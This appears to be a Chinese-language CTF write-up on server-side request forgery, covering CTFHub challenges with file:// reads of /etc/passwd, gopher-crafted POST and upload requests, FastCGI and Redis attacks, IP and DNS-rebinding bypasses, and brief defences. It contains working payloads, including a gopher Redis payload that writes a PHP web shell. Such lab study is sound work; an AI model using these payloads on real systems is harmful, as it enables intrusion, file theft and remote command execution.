ssrf-ctfhub
什么是 SSRF?
攻击者从外网通过 SSRF 攻击访问到内网,接着对内网的应用展开攻击,这些应用包括但不限于 MySQL,redis,SMTP 等等 ……
SSRF (全称:Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。
- 正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。
ssrf 漏洞产生原因
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定 URL 地址获取网页文本内容,加载指定地址的图片,下载等等。
由于一些危险函数与危险协议。我们以 PHP 为例,列举一下这些危险函数。
1 | file_get_contents() |
- 一些危险协议
1 | file:// |
ctfhub
内网访问
点击loadurl会出现一个url跳转,补充完整127.0.0.1/flag.php即可得到flag
1 | ?url=127.0.0.1/flag.php |
伪协议读取
file伪协议
几乎是ssrf中最常用的伪协议 ,file:// ,gopher ,dict, etc…
提示是在web下,php web默认是 /var/www/html
1 | file:///var/www/html/flag.php |
file://
这种URL Schema可以尝试从文件系统中获取文件:
1 | http://example.com/ssrf.php?url=file:///etc/passwd |
端口扫描
8000-9000
1 | MySQL: 3306 |
POST请求
访问:
1 | ?url=file:///var/www/html/flag.php |
1 |
|
得知:访问‘/flag.php’路由可以获得key值,我们从127.0.0.1访问,key值对应就可以获得flag
访问?url=http://127.0.0.1/flag.php
1 | <form action="/flag.php" method="post"> |
访问:
1 | ?url=file:///var/www/html/index.php |
1 |
|
这里有可以利用的curl_exec (), 根据题目说“ 会跟踪302跳转 ”
302跳转的302是http状态码
表示请求的网页自请求的网页移动到了新的位置,搜索引擎索引中保存原来的URL
这里可以通过访问302.php,并且传参gopher来伪造本地访问
访问?url=http://127.0.0.1/302.php
1 |
|
gopher://
什么是gopher协议
gopher
协议是一种信息查找系统,他将Internet
上的文件组织成某种索引,方便用户从Internet
的一处带到另一处。在WWW
出现之前,Gopher
是Internet
上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70
端口。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这拓宽了 SSRF 的攻击面。
1 | gopher协议的格式:gopher://ip:port/_METHOD /file HTTP/1.1 http-header&body |
- gopher协议发送http get请求
构造
HTTP
数据包
URL
编码、替换回车换行为%0d%0a
,HTTP
包最后加%0d%0a
代表消息结束
- gopher协议发送http post请求
POST
与GET
传参的区别:它有4
个参数为必要参数需要传递
Content-Type
,Content-Length
,host
,post
的参数然后构造
HTTP
数据包
URL
编码、替换回车换行为%0d%0a
,HTTP
包最后加%0d%0a
代表消息结束
1 | gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Da68a3b03e80ce7fef96007dfa01dc077%250D%250A |
上传文件
思路和上面一样,利用gopher协议。先抓一个上传文件的包:
1 | POST /flag.php HTTP/1.1 |
再改成gopher协议格式
贴一个别人写的脚本:
1 | import urllib.parse |
FastCGI协议
应用: nginx可以通过fastcgi来对接php
PHP-FPM未授权访问漏洞:PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信
利用Gopherus.工具生成攻击FastCGI的payload
上传:
连接成功:
因为是get传参,需要再原基础payload基础上在进行url编码
redis协议
主要利用redis未授权访问
还是利用Gopherus工具生成payload,直接打,记得再次编码
1 | gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A |
按理说这样再连接蚁剑可以了,不知道为什么没打通
URL Bypass
1 | ?url=http://notfound.ctfhub.com@127.0.0.1/flag.php |
数字IP Bypass
- 可以改变ip地址进制
1 | 十六进制整数格式 = 0xC0A80001 |
- 省略格式
例如10.0.0.1
可以写成10.1
IP地址:127.0.0.1可以改写为:
1 | 十六进制 = 0x7F000001 |
payload:
1 | ?url=http://0x7F000001/flag.php |
302跳转 Bypass
十进制依旧可以绕过
- 想考的知识点是:
SSRF中请求可能会跟随302跳转
- 利用方式:
我生成一个短链接( https://tinyurl.com/vdt6acjr )进行上传,但内容依然是127.0.0.1/flag.php
DNS重绑定 Bypass
十进制依旧依旧可以绕过
- 想考的知识点是:
在 DNS记录的生存时间(TTL) 设置为零的情况下, Web服务器就不会对指定域名解析的IP进行缓存 。
- 利用方式:
攻击者在DNS服务器中,指定了一个域名,它绑定了两个IP,一个是127.0.0.1
,另一个是正常的公网IP118.123.100.70
。攻击者 多次重复相同的HTTP请求 ,访问到127.0.0.1
防御
1 | Copy1.禁止跳转 |